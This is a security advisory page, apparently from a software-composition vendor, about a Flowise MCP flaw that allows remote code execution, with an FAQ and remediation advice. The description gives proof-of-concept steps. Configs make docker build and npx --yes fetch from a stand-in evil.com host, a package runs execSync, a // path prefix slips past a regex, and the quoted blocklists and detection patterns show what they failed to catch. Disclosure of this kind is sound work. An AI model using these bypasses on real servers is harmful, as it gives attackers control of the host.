How severe is GHSA-m99r-2hxc-cp3q?

No CVSS score has been assigned to GHSA-m99r-2hxc-cp3q yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-m99r-2hxc-cp3q?

GHSA-m99r-2hxc-cp3q affects the following packages: flowise (npm), flowise-components (npm). Ecosystems affected: npm.

How do I fix GHSA-m99r-2hxc-cp3q?

Update flowise to 3.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m99r-2hxc-cp3q is resolved across your whole dependency graph.

How do I detect GHSA-m99r-2hxc-cp3q in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-m99r-2hxc-cp3q if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-m99r-2hxc-cp3q?

O3 pinpoints whether GHSA-m99r-2hxc-cp3q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-m99r-2hxc-cp3q actively exploited in the wild?

No public exploit code has been indexed for GHSA-m99r-2hxc-cp3q yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-m99r-2hxc-cp3q published, and has it been updated?

GHSA-m99r-2hxc-cp3q was published on May 14, 2026 and was last updated on May 16, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-m99r-2hxc-cp3q

Flowise has an MCP Security Bypass that Enables RCE

Published

May 14, 2026

Updated

May 16, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Blast Radius

2 pkgs affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

flowisenpm

3Kdownloads / week

flowise-componentsnpm

2Kdownloads / week

Description

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition:

Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist 
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
        }
    }
    return { valid: true }
}

Reproduction process:

Add MCP config via UI or API interface, for example:

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

After execution, the command can be triggered to execute docker build http://evil.com

If a privileged container is deployed, then it can fully control the Flowise host machine

【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server

Precondition:

Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
The deployment environment has the npx command

npx blocklist:

file: packages/components/nodes/tools/MCP/core.ts:270-280

npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
//    Only the short parameter -y is present, without the long parameter alias --yes

Reproduction process: Add MCP config via UI or API interface, for example:

{
  "command": "npx",
  "args":["--yes", "http://evil.com/FileName.tar"]
}

Contents of the tar file:

// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');

const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);

// package.json
{
  "name": "attacker-mcp-pkg",
  "version": "1.0.0",
  "bin": {
    "attacker-mcp-pkg": "./index.js"
  },
  "scripts": {
    "postinstall": ""
  }
}

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

can trigger the vulnerability, execute the attacker's commands, and achieve RCE:

node command bypassing local file restrictions leads to remote code execution

When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE

Precondition: Have a Flowise account

Analysis of Vulnerable Code:

// packages/components/nodes/tools/MCP/core.ts:177-220

export const validateArgsForLocalFileAccess = (args: string[]): void => {
    const dangerousPatterns = [
        // Absolute paths
        /^\/[^/]/, // Unix absolute paths starting with /
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn't be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File flags and options that could access local files
        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
    ]

The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^/[^/]/" has a matching issue

As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')

Therefore, the limitation of this function can be bypassed by starting with //

** Reproduction process: **

Create a new chatflow as follows:

After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory

orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:

For example:

~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js

Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:

POST /api/v1/export-import/import  HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479

 {
    "ChatMessage": [
      {
        "id": "11111111-2222-4333-8444-555555555555",
        "role": "userMessage",
        "chatflowid": "{chatflow_id}",
        "content": "seed for home path test",
        "chatType": "EXTERNAL",
        "chatId": "audit-home-001",
        "createdDate": "2026-03-04T06:40:00.000Z",
        "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
      }
    ]
  }

POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57

{"chatflowId":"{chatflow_id}"}

After obtaining the absolute path, simply modify the path in args to the path of the file name:

  {
    "command": "node",
    "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
  }

After saving, execution will trigger RCE

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

Impact

This vulnerability allows attackers to execute arbitrary commands on the Flowise server .

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`flowise`	all versions	3.1.2
📦npm	`flowise-components`	all versions	3.1.2

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m99r-2hxc-cp3q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m99r-2hxc-cp3q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m99r-2hxc-cp3q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods ## Details ### 【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker bu

O3 Security · Impact-Aware SCA

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